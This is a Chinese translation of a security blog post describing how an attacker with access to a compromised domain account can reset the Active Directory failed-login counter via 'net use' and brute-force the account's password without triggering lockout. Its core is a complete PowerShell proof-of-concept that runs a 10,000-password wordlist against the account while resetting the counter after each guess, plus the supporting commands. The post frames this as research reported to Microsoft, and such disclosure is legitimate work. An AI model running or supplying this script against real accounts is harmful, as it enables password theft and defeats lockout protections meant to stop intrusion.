如何繞過域賬戶登錄失敗次數的限制

如何繞過域賬戶登錄失敗次數的限制

這篇文章僅出於教育目的,請勿在不屬於你的計算機上進行安全測試。

從日常攻防角度來看,一旦攻擊者通過網絡釣魚或者遠程代碼執行等漏洞獲得了受害者的計算機權限後,通常是以服務或用戶的身份存在於計算機中。此時,他們往往會面臨這樣一個問題,雖然有權限,但卻不知道密碼。

獲取密碼的方式有很多種,例如使用Mimikatz以及搜索一些機器上的敏感文件來進行推測。而這篇文章我將介紹一種古老的方法,暴力破解,主要以某個用戶為目標。但是,微軟對帳戶的登錄嘗試是有錯誤次數限制的。所以要順利進行暴力破解,需要繞過這個限制。而我發現,在已通過身份驗證的情況下,只要運行net use \\%computername% /u:%username%,就能重新進行身份驗證並重置錯誤嘗試的次數。

想更詳細的瞭解此操作,可從Microsoft下載遠程服務器管理工​​具:https://www.microsoft.com/en-us/download/details.aspx?id=45520

安裝該工具後,你可以運行以下powershell命令,它會顯示我的JoeUser帳戶的當前錯誤嘗試次數。

get-aduser -filter * -prop lastbadpasswordattempt, badpwdcount, lockedout | select name, lastbadpasswordattempt, badpwdcount,lockedout | format-table -auto
如何繞過域賬戶登錄失敗次數的限制

在我的本地策略中,你可以看到我設置在3次無效登錄後鎖定帳戶(這也是Microsoft的默認值)。

如何繞過域賬戶登錄失敗次數的限制

現在我故意輸入錯誤的密碼,讓機器記錄下這個錯誤的密碼嘗試。所使用的命令為net use \\%computername% “FakePassword” /u:joeuser。 出於某種原因,我可以看到兩次錯誤的密碼嘗試,我還有另一種方法,可以看到只有一次錯誤的密碼嘗試,當然這無關大雅。

如何繞過域賬戶登錄失敗次數的限制

現在,我使用上述提及的命令清除錯誤的密碼嘗試次數Net use \\%computername% /u:%username%。大家可以看到,此時我的命令中並沒有密碼。在我已擁有某用戶的權限下,我可隨意清除錯誤的密碼嘗試次數!

如何繞過域賬戶登錄失敗次數的限制

現在,我可以使用這種技術無限制地破解密碼。唯一的問題是如果你想用Net use破解密碼,我必須在每次使用重置命令後刪除共享。例如,現在我已經進行了共享設置,如果我嘗試破解密碼,就會收到如下消息:

如何繞過域賬戶登錄失敗次數的限制

為了清除共享,只能使用Net Use /Delete \\%computername%

如何繞過域賬戶登錄失敗次數的限制

以下是一個PoC。我使用Daniel Miesslers SecLists中前10000名密碼組成字典,去嘗試破解。我把我的代碼和字典放在了C:\Users\Public目錄下,具體如下:

$userVar = Get-ChildItem env:username
$uname = $userVar.Value
$computerVar = Get-ChildItem env:computername
$computerName = $computerVar.Value
$ErrorActionPreference = “Stop”
$hooray = “PasswordNotFoun”
$CurrentPath = “C:\Users\Public”
$FileName = “10-million-password-list-top-10000.txt”
$FName= “$CurrentPath\$FileName”
foreach($value in [System.IO.File]::ReadLines($Fname))
{
$passAttempt = (‘net use \\’ + $computerName + ‘ “‘ + $value + ‘“ ‘ + ‘/u:’ + $uname )
try
{
Write-Output (“trying password “ + $value)
$output = Invoke-expression $passAttempt | Out-Null
$hooray = $value
write-output (“FOUND the user password: “ + $value)
$reset = (‘net use \\’ + $computername + ‘ /u:’ + $uname )
Invoke-expression $reset | Out-Null
$deleteShare = (‘net use /delete \\’ + $computername )
Invoke-expression $deleteShare | Out-Null
break
}
catch
{
$reset = (‘net use \\’ + $computername + ‘ /u:’ + $uname )
Invoke-expression $reset | Out-Null
$deleteShare = (‘net use /delete \\’ + $computername )
Invoke-expression $deleteShare | Out-Null
}
}
write-host “The Password is: “ $hooray
如何繞過域賬戶登錄失敗次數的限制

我的腳本正在破解用戶密碼。

如何繞過域賬戶登錄失敗次數的限制

是的,被破解帳戶地錯誤密碼嘗試次數一直是0!

如何繞過域賬戶登錄失敗次數的限制

雖然不快但很有效。在我發現這個問題後,我將此作為一個漏洞提交給Microsoft,但他們不認為這是一個安全漏洞(至少這對我來說是一個漏洞)。

請隨時在Twitter上關注我@_markmo_,我將隨時分享我學到的知識。

本文由白帽彙整理並翻譯,不代表白帽匯任何觀點和立場

來源:https://nosec.org/home/detail/2510.html

原文:https://medium.com/@markmotig/bypassing-ad-account-lockout-for-a-compromised-account-5c908d663de8

白帽匯從事信息安全,專注於安全大數據、企業威脅情報。

公司產品:FOFA-網絡空間安全搜索引擎、FOEYE-網絡空間檢索系統、NOSEC-安全訊息平臺。

為您提供:網絡空間測繪、企業資產收集、企業威脅情報、應急響應服務。


分享到:


相關文章: